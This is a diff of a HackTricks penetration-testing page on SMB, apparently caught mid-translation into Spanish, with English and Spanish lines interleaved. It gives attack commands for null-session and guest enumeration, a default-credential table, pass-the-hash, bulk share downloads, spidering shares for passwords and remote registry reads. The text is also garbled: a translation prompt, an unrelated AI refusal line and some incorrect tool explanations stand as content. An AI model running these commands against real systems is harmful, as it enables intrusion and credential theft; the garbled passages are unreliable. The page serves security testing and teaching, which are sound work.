* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,39 +1,53 @@
# 139,445 - Pentesting SMB
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## **Puerto 139**
**NetBIOS** significa _Network Basic Input Output System_. Es un protocolo de software que permite a las aplicaciones, PC y escritorios en una red de área local (LAN) comunicarse con el hardware de red y transmitir datos a través de la red. Las aplicaciones de software que se ejecutan en una red NetBIOS se localizan e identifican entre sí a través de sus nombres NetBIOS. Un nombre NetBIOS tiene hasta 16 caracteres y generalmente es diferente del nombre de la computadora. Dos aplicaciones inician una sesión NetBIOS cuando una (el cliente) envía un comando para "llamar" a otro cliente (el servidor) a través del **Puerto TCP 139**. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
**NetBIOS** significa _Network Basic Input Output System_. Es un protocolo de software que permite que las aplicaciones, PC y escritorios en una red de área local (LAN) se comuniquen con el hardware de red y transmitan datos a través de la red. Las aplicaciones de software que se ejecutan en una red NetBIOS localizan e identifican entre sí a través de sus nombres NetBIOS. Un nombre NetBIOS tiene hasta 16 caracteres de longitud y generalmente es diferente al nombre de la computadora. Dos aplicaciones inician una sesión NetBIOS cuando una (el cliente) envía un comando para "llamar" a otro cliente (el servidor) a través del **Puerto TCP 139**. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Puerto 445
Mientras que el Puerto 139 es conocido técnicamente como 'NBT sobre IP', el Puerto 445 es 'SMB sobre IP'. **SMB** significa 'Server Message Blocks'. Server Message Block en lenguaje moderno también es conocido como **Common Internet File System**. El sistema opera como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos seriales y otros tipos de comunicaciones entre nodos en una red.
Mientras que el puerto 139 se conoce técnicamente como 'NBT sobre IP', el puerto 445 es 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**' (Bloques de Mensajes del Servidor). El Bloque de Mensajes del Servidor en el lenguaje moderno también se conoce como **Sistema de Archivos de Internet Común**. El sistema funciona como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos seriales y otros tipos de comunicaciones entre nodos en una red.
Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre TCP/IP sin necesidad de NetBIOS sobre TCP/IP. Esto usará, como se señala, el puerto 445. En otros sistemas, encontrará servicios y aplicaciones que utilizan el puerto 139. Esto significa que SMB se está ejecutando con NetBIOS sobre TCP/IP. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre TCP/IP sin necesidad de NetBIOS sobre TCP/IP. Esto utilizará, como mencionaste, el puerto 445. En otros sistemas, encontrarás servicios y aplicaciones que utilizan el puerto 139. Esto significa que SMB se está ejecutando con NetBIOS sobre TCP/IP (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Server Message Block (`SMB`) es un protocolo **cliente-servidor** que regula el **acceso a archivos** y directorios completos y otros recursos de red como impresoras, routers o interfaces liberadas para la red. El área de aplicación principal del protocolo ha sido la serie de sistemas operativos **Windows** en particular, cuyos servicios de red admiten SMB de manera compatible hacia abajo, lo que significa que los dispositivos con ediciones más nuevas pueden comunicarse fácilmente con dispositivos que tienen instalado un sistema operativo Microsoft más antiguo.\
Con el proyecto de software libre **Samba**, también hay una solución que permite el uso de **SMB en distribuciones Linux** y Unix y, por lo tanto, la comunicación entre plataformas a través de SMB.
El Protocolo de Bloque de Mensajes del Servidor (`SMB`) es un protocolo **cliente-servidor** que regula el **acceso a archivos** y directorios completos, así como a otros recursos de red como impresoras, enrutadores o interfaces liberadas para la red. El área de aplicación principal del protocolo ha sido la serie de sistemas operativos **Windows**, cuyos servicios de red admiten SMB de manera compatible hacia abajo, lo que significa que los dispositivos con ediciones más nuevas pueden comunicarse fácilmente con dispositivos que tienen instalado un sistema operativo Microsoft más antiguo.\
Con el proyecto de software libre **Samba**, también existe una solución que permite el uso de **SMB en distribuciones Linux** y Unix y, por lo tanto, la comunicación multiplataforma a través de SMB.
Un servidor SMB puede proporcionar **partes arbitrarias de su sistema de archivos local como recursos compartidos**. Por lo tanto, la **jerarquía visible** para un cliente es parcialmente **independiente** de la **estructura** en el **servidor**. Los **derechos de acceso** se definen mediante `Listas de control de acceso` (`ACL`). Se pueden controlar de manera **detallada** en función de atributos como **`ejecutar`**, **`leer`** y **`acceso completo`** para usuarios individuales o grupos de usuarios. Los **ACL** se definen **en función de los recursos compartidos** y, por lo tanto, no corresponden a los derechos asignados localmente en el servidor.
Un servidor SMB puede proporcionar **partes arbitrarias de su sistema de archivos local como comparticiones**. Por lo tanto, la **jerarquía visible** para un cliente es parcialmente **independiente** de la **estructura** en el **servidor**. Los **derechos de acceso** se definen mediante `Listas de Control de Acceso` (`ACL`). Se pueden controlar de manera **detallada** en función de atributos como **`ejecutar`**, **`leer`** y **`acceso completo`** para usuarios individuales o grupos de usuarios. Las **ACL** se definen **en función de las comparticiones** y, por lo tanto, no corresponden a los derechos asignados localmente en el servidor.
### Recurso compartido IPC$
### Compartir IPC$
Del libro _**Network Security Assessment 3rd edition**_
Con una sesión nula anónima, puede acceder al recurso compartido IPC$ e interactuar con los servicios expuestos a través de tuberías con nombre. La utilidad enum4linux dentro de Kali Linux es particularmente útil; con ella, puede obtener lo siguiente:
Con una sesión nula anónima, puede acceder a la compartición IPC$ e interactuar con los servicios expuestos a través de named pipes. La utilidad enum4linux dentro de Kali Linux es particularmente útil; con ella, puede obtener lo siguiente:
* Información del sistema operativo
* Detalles del dominio principal
* Una lista de usuarios y grupos locales
* Detalles de los recursos compartidos SMB disponibles
* La política de seguridad efectiva del sistema
* Detalles de las comparticiones SMB disponibles
* La política de seguridad del sistema efectiva
## ¿Qué es NTLM?
Si no sabe qué es NTLM o desea saber cómo funciona y cómo abusar de él, encontrará muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puede aprovecharlo:**
Si no sabe qué es NTLM o desea saber cómo funciona y cómo abusar de él, encontrará muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puede aprovecharlo**:
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
@ -47,9 +61,9 @@ nbtscan -r 192.168.0.1/24
```
### Versión del servidor SMB
Para buscar posibles exploits en la versión SMB es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, se puede:
Para buscar posibles vulnerabilidades en la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes:
* Usar el módulo auxiliar de **MSF** \_**auxiliary/scanner/smb/smb\_version**
* Utilizar el módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
* O utilizar este script:
```bash
#!/bin/sh
@ -72,17 +86,17 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### Posibles Credenciales
### **Posibles** Credenciales
| **Nombre de usuario(s)** | **Contraseñas comunes** |
| ----------------------- | ------------------------------------------|
| _(en blanco)_ | _(en blanco)_ |
| invitado | _(en blanco)_ |
| Administrador, admin | _(en blanco)_, contraseña, administrador, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| prueba, lab, demo | contraseña, prueba, lab, demo |
| ----------------------- | ----------------------------------------- |
| _(en blanco)_ | _(en blanco)_ |
| invitado | _(en blanco)_ |
| Administrador, admin | _(en blanco)_, contraseña, administrador, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | contraseña, test, lab, demo |
### Información del entorno SMB
@ -110,20 +124,9 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### Enumerar Usuarios, Grupos y Usuarios Conectados
Para enumerar usuarios, grupos y usuarios conectados en un sistema SMB, se pueden utilizar varias herramientas y técnicas.
#### Herramientas
- `enum4linux`: una herramienta de enumeración de SMB que se enfoca en enumerar usuarios y grupos, así como información de la máquina y el sistema operativo.
- `smbmap`: una herramienta de enumeración de SMB que se enfoca en enumerar recursos compartidos, permisos y usuarios.
- `smbclient`: una herramienta de línea de comandos de SMB que se puede utilizar para conectarse a un recurso compartido y enumerar usuarios y grupos.
#### Técnicas
- Enumeración de usuarios y grupos: se puede utilizar la herramienta `enum4linux` para enumerar usuarios y grupos en un sistema SMB. Por ejemplo, para enumerar usuarios, se puede ejecutar el comando `enum4linux -U <IP>` y para enumerar grupos, se puede ejecutar el comando `enum4linux -G <IP>`.
- Enumeración de usuarios conectados: se puede utilizar la herramienta `smbmap` para enumerar usuarios conectados a un recurso compartido. Por ejemplo, para enumerar usuarios conectados a un recurso compartido llamado `share`, se puede ejecutar el comando `smbmap -u <username> -p <password> -H <IP> -R share`. También se puede utilizar la herramienta `smbclient` para conectarse a un recurso compartido y enumerar usuarios conectados. Por ejemplo, para conectarse a un recurso compartido llamado `share` y enumerar usuarios conectados, se puede ejecutar el comando `smbclient -U <username> -P <password> -L //<IP>/share`.
# Esta información ya debería haber sido recopilada con enum4linux y enum4linux-ng
```bash
# This info should already being gathered from enum4linux and enum4linux-ng
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
@ -133,82 +136,80 @@ ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
# Impacket - Enumerate local users
```
### Enumerar usuarios locales
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
# Metasploit - Enumerate local users
```
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo network-services-pentesting/pentesting-smb.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - Enumerar usuarios locales
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
set rhosts nombre_equipo.local
run
```
### **Enumerando LSARPC y SAMR rpcclient**
### **Enumerating LSARPC and SAMR rpcclient**
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}
### Conexión GUI desde Linux
### GUI connection from linux
#### En la terminal:
#### In the terminal:
`xdg-open smb://cascade.htb/`
#### En la ventana del explorador de archivos (nautilus, thunar, etc)
#### In file browser window (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Enumeración de carpetas compartidas
## Shared Folders Enumeration
### Listar carpetas compartidas
### List shared folders
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
Siempre es recomendable buscar si se puede acceder a algo, si no se tienen credenciales, intente usar **credenciales nulas/usuario invitado**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
```markdown
`smbclient --no-pass -L //<IP>` # Usuario nulo
`smbclient -U 'nombre_de_usuario[%contraseña]' -L [--pw-nt-hash] //<IP>` # Si omites la contraseña, se te pedirá. Con --pw-nt-hash, la contraseña proporcionada es el hash NT
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
`smbmap -H <IP> [-P <PUERTO>]` # Usuario nulo
`smbmap -u "nombre_de_usuario" -p "contraseña" -H <IP> [-P <PUERTO>]` # Credenciales
`smbmap -u "nombre_de_usuario" -p "<NT>:<LM>" -H <IP> [-P <PUERTO>]` # Pass-the-Hash
`smbmap -R -u "nombre_de_usuario" -p "contraseña" -H <IP> [-P <PUERTO>]` # Lista recursiva
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
`crackmapexec smb <IP> -u '' -p '' --shares` # Usuario nulo
`crackmapexec smb <IP> -u 'nombre_de_usuario' -p 'contraseña' --shares` # Usuario invitado
`crackmapexec smb <IP> -u 'nombre_de_usuario' -H '<HASH>' --shares` # Usuario invitado
```
### **Conectar/Listar una carpeta compartida**
Para conectarse a una carpeta compartida en un servidor SMB, se puede utilizar el comando `smbclient`. Por ejemplo, para conectarse a una carpeta compartida llamada `shared_folder` en un servidor con dirección IP `192.168.1.10`, se puede utilizar el siguiente comando:
```
smbclient //192.168.1.10/shared_folder
```
Una vez conectado, se puede utilizar el comando `ls` para listar los archivos y carpetas en la carpeta compartida.
### **Connect/List a shared folder**
También se puede utilizar el comando `smbtree` para listar todas las carpetas compartidas en un servidor SMB. Por ejemplo:
```
smbtree -N
```
Este comando mostrará una lista de todas las carpetas compartidas en el servidor, junto con sus nombres y ubicaciones.
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#Conectar usando smbclient
smbclient --no-pass //<IP>/<Carpeta>
smbclient -U 'nombre_de_usuario[%contraseña]' -L [--pw-nt-hash] //<IP> #Si omites la contraseña, se te pedirá. Con --pw-nt-hash, la contraseña proporcionada es el hash NT
#Usa --no-pass -c 'recurse;ls' para listar de forma recursiva con smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
#Listar con smbmap, sin especificar carpeta lista todo
smbmap [-u "nombre_de_usuario" -p "contraseña"] -R [Carpeta] -H <IP> [-P <PUERTO>] # Lista recursiva
smbmap [-u "nombre_de_usuario" -p "contraseña"] -r [Carpeta] -H <IP> [-P <PUERTO>] # Lista no recursiva
smbmap -u "nombre_de_usuario" -p "<NT>:<LM>" [-r/-R] [Carpeta] -H <IP> [-P <PUERTO>] # Pass-the-Hash
```
### **Enumerar manualmente los recursos compartidos de Windows y conectarse a ellos**
Es posible que esté restringido para mostrar cualquier recurso compartido de la máquina anfitriona y cuando intenta listarlos, parece que no hay recursos compartidos a los que conectarse. Por lo tanto, puede valer la pena intentar conectarse manualmente a un recurso compartido. Para enumerar los recursos compartidos manualmente, es posible que desee buscar respuestas como NT\_STATUS\_ACCESS\_DENIED y NT\_STATUS\_BAD\_NETWORK\_NAME, cuando se utiliza una sesión válida (por ejemplo, una sesión nula o credenciales válidas). Estas pueden indicar si el recurso compartido existe y no tiene acceso a él o si el recurso compartido no existe en absoluto.
### **Manually enumerate windows shares and connect to them**
Los nombres comunes de recursos compartidos para objetivos de Windows son:
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
* C$
* D$
@ -219,14 +220,19 @@ Los nombres comunes de recursos compartidos para objetivos de Windows son:
* SYSVOL
* NETLOGON
(Nombres comunes de recursos compartidos de _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command
Puede intentar conectarse a ellos utilizando el siguiente comando:
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```markdown
`smbclient -U '%' -N \\\\<IP>\\<SHARE>` # sesión nula para conectarse a un recurso compartido de Windows
`smbclient -U '<USER>' \\\\<IP>\\<SHARE>` # sesión autenticada para conectarse a un recurso compartido de Windows (se le solicitará una contraseña)
```
o este script (usando una sesión nula)
```
or this script (using a null session)
```bash
#/bin/bash
@ -234,287 +240,453 @@ ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
if [[ -z $output ]]; then
echo "[+] es posible crear una sesión nula para $share" # no hay salida si el comando se ejecuta correctamente, por lo tanto se asume que se creó una sesión
else
echo $output # muestra el mensaje de error (por ejemplo, NT_STATUS_ACCESS_DENIED o NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
I'm sorry, I don't understand what you're asking for. Could you please provide more context or clarify your request?
examples
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```markdown
## Pentesting SMB
### smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
Este comando intenta acceder al recurso compartido de red `im_clearly_not_here` en la dirección IP `192.168.0.24` utilizando el usuario anónimo (`%`) y sin contraseña (`-N`). Si el recurso compartido de red no existe, se devuelve el error `NT_STATUS_BAD_NETWORK_NAME`.
### smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Este comando intenta acceder al recurso compartido de red `ADMIN$` en la dirección IP `192.168.0.24` utilizando el usuario anónimo (`%`) y sin contraseña (`-N`). Si se deniega el acceso al recurso compartido de red, se devuelve el error `NT_STATUS_ACCESS_DENIED`. En algunos casos, es posible que se obtenga una sesión en el sistema objetivo.
```
### Montar una carpeta compartida
```
### Mount a shared folder
```bash
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Descargar archivos**
Lea las secciones anteriores para aprender cómo conectarse con credenciales/Pass-the-Hash.
El comando `mount` se utiliza para montar un recurso compartido de red en un directorio local en sistemas operativos basados en Unix. En este caso, se está utilizando el tipo de sistema de archivos `cifs` para montar un recurso compartido SMB (Server Message Block) en el directorio `/mnt/share`.
En el primer comando, se monta el recurso compartido SMB ubicado en la dirección IP `x.x.x.x` y con el nombre `share` en el directorio `/mnt/share`.
En el segundo comando, se utiliza la opción `-o` para especificar el nombre de usuario y la contraseña necesarios para acceder al recurso compartido SMB. En este ejemplo, el nombre de usuario es `user` y la contraseña es `password`. Luego, se monta el recurso compartido SMB en el directorio `/mnt/share`.
```
### **Download files**
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Buscar un archivo y descargarlo
sudo smbmap -R Carpeta -H <IP> -A <NombreDeArchivo> -q # Buscar el archivo en modo recursivo y descargarlo dentro de /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
# Descargar todo
smbclient //<IP>/<compartir>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
# Descargar todo en el directorio actual
```
Comandos:
* mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos)
* recurse: activa la recursión (por defecto: desactivada)
* prompt: desactiva la solicitud de nombres de archivo (por defecto: activada)
* mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente
Commands:
(_Información de la página del manual de smbclient_)
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
* recurse: toggles recursion on (default: off)
* prompt: toggles prompting for filenames off (default: on)
* mget: copies all files matching the mask from host to client machine
### Búsqueda de carpetas compartidas de dominio
(_Information from the manpage of smbclient_)
### Domain Shared Folders Search
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araña.
* `-M spider_plus [--share <nombre_compartido>]`
* `--pattern txt`
El comando anterior ejecuta el archivo `Snaffler.exe` con las siguientes opciones:
- `-s`: Realiza un escaneo de los servicios SMB en la red.
- `-d domain.local`: Especifica el dominio objetivo como `domain.local`.
- `-o snaffler.log`: Guarda los resultados del escaneo en el archivo `snaffler.log`.
- `-v data`: Muestra información detallada durante el escaneo.
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
```bash
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Especialmente interesantes son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** para usuarios configurados con **autologon** a través de la Política de Grupo. O archivos **`web.config`** ya que contienen credenciales.
El comando anterior utiliza la herramienta `crackmapexec` para realizar un ataque de fuerza bruta en el servicio SMB en la dirección IP `10.10.10.10`. Se especifica el nombre de usuario `-u` como "username" y la contraseña `-p` como "pass". El módulo `-M` utilizado es "spider_plus" y se apunta al recurso compartido `Department Shares`.
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
{% hint style="info" %}
El recurso compartido **SYSVOL** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos scripts diferentes de batch, VBScript y PowerShell.\
Deberías **revisar** los **scripts** dentro de él ya que podrías **encontrar** información sensible como **contraseñas**.
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}
## Leer Registro
## Read Registry
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
Es posible que puedas **leer el registro** usando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo:
```bash
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Explotación
La configuración **predeterminada** de un servidor **Samba** generalmente se encuentra en `/etc/samba/smb.conf` y puede tener algunas configuraciones **peligrosas**:
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKLM -s
```
```
| **Configuración** | **Descripción** |
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | ¿Permite listar los recursos compartidos disponibles en el recurso compartido actual? |
| `read only = no` | ¿Prohíbe la creación y modificación de archivos? |
| `writable = yes` | ¿Permite a los usuarios crear y modificar archivos? |
| `guest ok = yes` | ¿Permite conectarse al servicio sin usar una contraseña? |
| `enable privileges = yes` | ¿Respeta los privilegios asignados a SID específicos? |
| `create mask = 0777` | ¿Qué permisos se deben asignar a los archivos recién creados? |
| `directory mask = 0777` | ¿Qué permisos se deben asignar a los directorios recién creados? |
| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? |
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? |
| `magic output = script.out` | ¿Dónde se debe almacenar la salida del script mágico? |
| `browseable = yes` | Allow listing available shares in the current share? |
| `read only = no` | Forbid the creation and modification of files? |
| `writable = yes` | Allow users to create and modify files? |
| `guest ok = yes` | Allow connecting to the service without using a password? |
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login? |
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**.
The command `smbstatus` gives information about the **server** and about **who is connected**.
## Autenticación usando Kerberos
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
# Pentesting SMB
## SMB Client
The `smbclient` command is used to interact with SMB (Server Message Block) services. It allows you to connect to SMB shares and perform various operations such as listing files, uploading and downloading files, and executing commands on remote systems.
To authenticate using Kerberos, you can use the `--kerberos` option followed by the target SMB server address and the share name. For example:
Puede **autenticarse** en **Kerberos** utilizando las herramientas **smbclient** y **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
```
This command will connect to the `C$` share on the `ws01win10.domain.com` server using Kerberos authentication.
## RPC Client
The `rpcclient` command is used to interact with RPC (Remote Procedure Call) services. It allows you to execute RPC commands on remote systems.
To authenticate using Kerberos, you can use the `-k` option followed by the target RPC server address. For example:
```bash
rpcclient -k ws01win10.domain.com
```
## **Ejecutar Comandos**
This command will connect to the `ws01win10.domain.com` server using Kerberos authentication.
```
## **Execute Commands**
